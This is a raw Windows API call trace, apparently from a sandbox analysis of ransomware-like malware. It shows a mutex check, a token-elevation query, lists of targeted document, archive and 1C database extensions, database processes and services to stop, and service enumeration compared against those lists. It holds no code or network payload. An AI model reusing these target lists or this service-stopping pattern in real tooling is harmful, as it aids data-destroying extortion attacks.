	[0158.546] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\syncronize_F5163RU") returned 0x0
	[0158.546] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\syncronize_F5163RU") returned 0x1f0
	[0158.546] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x726910 | out: hHeap=0x710000) returned 1
	[0158.546] lstrlenW (lpString="Global\\syncronize_") returned 18
	[0158.546] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x72dc20 | out: hHeap=0x710000) returned 1
	[0158.546] GetVersion () returned 0x23f00206
	[0158.546] GetCurrentProcess () returned 0xffffffff
	[0158.546] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x19fd9c | out: TokenHandle=0x19fd9c*=0x1f4) returned 1
	[0158.546] GetTokenInformation (in: TokenHandle=0x1f4, TokenInformationClass=0x14, TokenInformation=0x19fd98, TokenInformationLength=0x4, ReturnLength=0x19fda4 | out: TokenInformation=0x19fd98, ReturnLength=0x19fda4) returned 1
	[0158.546] CloseHandle (hObject=0x1f4) returned 1
	[0158.547] WaitForSingleObject (hHandle=0x1f0, dwMilliseconds=0x0) returned 0x0
	[0158.547] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x14) returned 0x724b40
	[0158.547] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x10) returned 0x728260
	[0158.547] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x728260, Size=0x20) returned 0x71b230
	[0158.547] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x71b230, Size=0x40) returned 0x72d998
	[0158.547] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x72d998, Size=0x80) returned 0x721cd0
	[0158.547] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x721cd0, Size=0x100) returned 0x7283c8
	[0158.547] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x34) returned 0x722f48
	[0158.547] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x4) returned 0x7269f0
	[0158.547] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x4) returned 0x7269e0
	[0158.547] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x8) returned 0x726910
	[0158.547] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xc) returned 0x7282c0
	[0158.547] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x4) returned 0x726940
	[0158.547] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x728278
	[0158.547] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x726940, Size=0x8) returned 0x726920
	[0158.547] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xc) returned 0x728260
	[0158.547] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x726920, Size=0x10) returned 0x728290
	[0158.547] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x7282d8
	[0158.547] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x727ff0
	[0158.547] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x728290, Size=0x20) returned 0x71b230
	[0158.547] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xc) returned 0x728290
	[0158.547] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x728008
	[0158.547] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x7269f0, Size=0x8) returned 0x726920
	[0158.547] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x7269e0, Size=0x8) returned 0x726940
	[0158.547] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x8) returned 0x726950
	[0158.547] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xc) returned 0x728020
	[0158.547] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x4) returned 0x726960
	[0158.547] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x728038
	[0158.547] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x726960, Size=0x8) returned 0x7269e0
	[0158.547] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x728350
	[0158.547] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x7269e0, Size=0x10) returned 0x728338
	[0158.547] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x7282f0
	[0158.547] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x8) returned 0x726a20
	[0158.547] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x728338, Size=0x20) returned 0x74f058
	[0158.548] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x726920, Size=0x10) returned 0x728320
	[0158.548] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x726940, Size=0x10) returned 0x728308
	[0158.548] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x8) returned 0x726960
	[0158.548] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xc) returned 0x728380
	[0158.548] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x4) returned 0x7269e0
	[0158.548] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x728338
	[0158.548] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x7269e0, Size=0x8) returned 0x726920
	[0158.548] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x8) returned 0x726a40
	[0158.548] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xc) returned 0x728368
	[0158.548] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x4) returned 0x726940
	[0158.548] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x728398
	[0158.548] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x726940, Size=0x8) returned 0x7269e0
	[0158.548] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x728320, Size=0x20) returned 0x74ed88
	[0158.548] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x728308, Size=0x20) returned 0x74ef90
	[0158.548] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x8) returned 0x726940
	[0158.548] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xc) returned 0x7283b0
	[0158.548] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x4) returned 0x726a00
	[0158.548] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x728308
	[0158.548] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x726a00, Size=0x8) returned 0x7269f0
	[0158.548] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x14) returned 0x724a20
	[0158.548] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x14) returned 0x724a60
	[0158.548] lstrlenW (lpString="doc(.doc;.docx;.pdf;.xls;.xlsx;.ppt;)arc(.zip;.rar;.bz2;.7z;)dbf(.dbf;)1c8(.1cd;)jpg(.jpg;)") returned 91
	[0158.548] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x7283c8 | out: hHeap=0x710000) returned 1
	[0158.548] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x19fde8 | out: lpWSAData=0x19fde8) returned 0
	[0158.553] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x10) returned 0x728320
	[0158.553] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x728320, Size=0x20) returned 0x74f080
	[0158.553] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x74f080, Size=0x40) returned 0x72db00
	[0158.553] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x72db00, Size=0x80) returned 0x7286f8
	[0158.553] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x7286f8, Size=0x100) returned 0x7283c8
	[0158.553] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x10) returned 0x728320
	[0158.553] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x728320, Size=0x20) returned 0x74ef68
	[0158.553] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x74ef68, Size=0x40) returned 0x72d560
	[0158.553] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x72d560, Size=0x80) returned 0x7286f8
	[0158.553] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x7286f8, Size=0x100) returned 0x727e90
	[0158.553] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xc) returned 0x728320
	[0158.553] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x4) returned 0x753ce8
	[0158.553] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x10) returned 0x7549e8
	[0158.553] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x753ce8, Size=0x8) returned 0x753c08
	[0158.553] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x14) returned 0x724a80
	[0158.553] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x753c08, Size=0x10) returned 0x754a60
	[0158.553] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x18) returned 0x724ba0
	[0158.553] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x1a) returned 0x74f0f8
	[0158.553] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x754a60, Size=0x20) returned 0x74f0d0
	[0158.553] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x1c) returned 0x74f210
	[0158.553] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x16) returned 0x724b80
	[0158.553] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x1a) returned 0x74ee00
	[0158.553] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xc) returned 0x754b80
	[0158.553] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x4) returned 0x753c68
	[0158.553] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x40) returned 0x72db90
	[0158.553] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x753c68, Size=0x8) returned 0x753d58
	[0158.553] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x3c) returned 0x72d908
	[0158.553] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x753d58, Size=0x10) returned 0x7549b8
	[0158.553] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x14) returned 0x724c00
	[0158.553] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x18) returned 0x724aa0
	[0158.554] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x7549b8, Size=0x20) returned 0x74f238
	[0158.554] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x24) returned 0x726078
	[0158.554] lstrlenW (lpString="1c8.exe;1cv77.exe;outlook.exe;postgres.exe;mysqld-nt.exe;mysqld.exe;sqlservr.exe;") returned 81
	[0158.554] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x7283c8 | out: hHeap=0x710000) returned 1
	[0158.554] lstrlenW (lpString="FirebirdGuardianDefaultInstance;FirebirdServerDefaultInstance;sqlwriter;mssqlserver;sqlserveradhelper;") returned 102
	[0158.554] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x727e90 | out: hHeap=0x710000) returned 1
	[0158.554] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x74f1c0
	[0158.574] EnumServicesStatusExW (in: hSCManager=0x74f1c0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x19fd84, lpServicesReturned=0x19fd9c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x19fd84, lpServicesReturned=0x19fd9c, lpResumeHandle=0x0) returned 0
	[0158.575] GetLastError () returned 0xea
	[0158.575] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x1b4e) returned 0x756788
	[0158.575] EnumServicesStatusExW (in: hSCManager=0x74f1c0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x756788, cbBufSize=0x1b4e, pcbBytesNeeded=0x19fd84, lpServicesReturned=0x19fd9c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x756788, pcbBytesNeeded=0x19fd84, lpServicesReturned=0x19fd9c, lpResumeHandle=0x0) returned 1
	[0158.576] CloseServiceHandle (hSCObject=0x74f1c0) returned 1
	[0158.577] lstrlenW (lpString="AppXSvc") returned 7
	[0158.577] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1
	[0158.580] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1
	[0158.580] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1
	[0158.580] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1
	[0158.580] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1
	[0158.581] lstrlenW (lpString="AudioEndpointBuilder") returned 20
	[0158.581] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0158.581] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0158.581] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1
	[0158.581] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1
	[0158.581] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1
	[0158.581] lstrlenW (lpString="Audiosrv") returned 8
	[0158.581] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1
	[0158.581] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1
	[0158.581] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1
	[0158.581] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1
	[0158.581] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1
	[0158.581] lstrlenW (lpString="BFE") returned 3
	[0158.581] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1
	[0158.581] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1
	[0158.581] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1
	[0158.581] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1
	[0158.581] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1
	[0158.581] lstrlenW (lpString="BrokerInfrastructure") returned 20
	[0158.581] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0158.581] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0158.581] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1
	[0158.581] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1
	[0158.581] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1
	[0158.581] lstrlenW (lpString="CDPSvc") returned 6
	[0158.581] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1
	[0158.581] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1
	[0158.581] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1
	[0158.581] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1
	[0158.581] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1
	[0158.581] lstrlenW (lpString="ClickToRunSvc") returned 13
	[0158.581] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0158.581] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0158.582] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1
	[0158.582] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1
	[0158.582] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1
	[0158.582] lstrlenW (lpString="CoreMessagingRegistrar") returned 22
	[0158.582] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0158.582] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0158.582] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1
	[0158.582] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1
	[0158.582] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1
	[0158.582] lstrlenW (lpString="CryptSvc") returned 8
	[0158.582] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1
	[0158.582] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1
	[0158.582] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1
	[0158.582] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1
	[0158.582] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1
	[0158.582] lstrlenW (lpString="DcomLaunch") returned 10
	[0158.582] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1
	[0158.582] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1
	[0158.582] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1
	[0158.582] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1
	[0158.582] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1
	[0158.582] lstrlenW (lpString="DeviceAssociationService") returned 24
	[0158.582] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0158.582] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0158.582] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1
	[0158.582] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1
	[0158.582] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1
	[0158.582] lstrlenW (lpString="Dhcp") returned 4
	[0158.582] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1
	[0158.582] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1
	[0158.582] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1
	[0158.582] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1
	[0158.582] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1
	[0158.582] lstrlenW (lpString="Dnscache") returned 8
	[0158.583] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1
	[0158.583] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1
	[0158.583] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1
	[0158.583] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1
	[0158.583] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1
	[0158.583] lstrlenW (lpString="DPS") returned 3
	[0158.583] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1
	[0158.583] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1
	[0158.583] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1
	[0158.583] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1
	[0158.583] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1
	[0158.583] lstrlenW (lpString="DusmSvc") returned 7
	[0158.583] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1
	[0158.583] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1
	[0158.583] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1
	[0158.583] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1
	[0158.583] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1
	[0158.583] lstrlenW (lpString="EventLog") returned 8
	[0158.583] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1
	[0158.583] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1
	[0158.583] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1
	[0158.583] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1
	[0158.583] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1
	[0158.583] lstrlenW (lpString="EventSystem") returned 11
	[0158.583] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1
	[0158.583] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1
	[0158.583] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1
	[0158.583] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1
	[0158.583] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1
	[0158.583] lstrlenW (lpString="FontCache") returned 9
	[0158.583] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1
	[0158.583] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1
	[0158.583] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1
	[0158.584] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1
	[0158.584] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1
	[0158.584] lstrlenW (lpString="gpsvc") returned 5
	[0158.584] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1
	[0158.584] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1
	[0158.584] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1
	[0158.584] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1
	[0158.584] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1
	[0158.584] lstrlenW (lpString="iphlpsvc") returned 8
	[0158.584] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1
	[0158.584] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1
	[0158.584] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1
	[0158.584] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1
	[0158.584] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1
	[0158.584] lstrlenW (lpString="KeyIso") returned 6
	[0158.584] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1
	[0158.584] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1
	[0158.584] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1
	[0158.584] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1
	[0158.584] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1
	[0158.584] lstrlenW (lpString="LanmanServer") returned 12
	[0158.584] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1
	[0158.584] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1
	[0158.584] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1
	[0158.584] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1
	[0158.584] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1
	[0158.584] lstrlenW (lpString="LanmanWorkstation") returned 17
	[0158.584] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0158.584] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0158.584] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1
	[0158.584] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1
	[0158.584] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1
	[0158.584] lstrlenW (lpString="lfsvc") returned 5
	[0158.584] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1
	[0158.585] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1
	[0158.585] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1
	[0158.585] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1
	[0158.585] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1
	[0158.585] lstrlenW (lpString="lmhosts") returned 7
	[0158.585] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1
	[0158.585] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1
	[0158.585] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1
	[0158.585] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1
	[0158.585] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1
	[0158.585] lstrlenW (lpString="LSM") returned 3
	[0158.585] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1
	[0158.585] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1
	[0158.585] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1
	[0158.585] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1
	[0158.585] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1
	[0158.585] lstrlenW (lpString="MpsSvc") returned 6
	[0158.585] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1
	[0158.585] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1
	[0158.585] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1
	[0158.585] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1
	[0158.585] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1
	[0158.585] lstrlenW (lpString="NcbService") returned 10
	[0158.585] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1
	[0158.585] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1
	[0158.585] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1
	[0158.585] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1
	[0158.585] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1
	[0158.585] lstrlenW (lpString="netprofm") returned 8
	[0158.585] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1
	[0158.585] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1
	[0158.585] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1
	[0158.585] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1
	[0158.585] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1
	[0158.586] lstrlenW (lpString="NgcSvc") returned 6
	[0158.586] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1
	[0158.586] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1
	[0158.586] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1
	[0158.586] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1
	[0158.586] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1
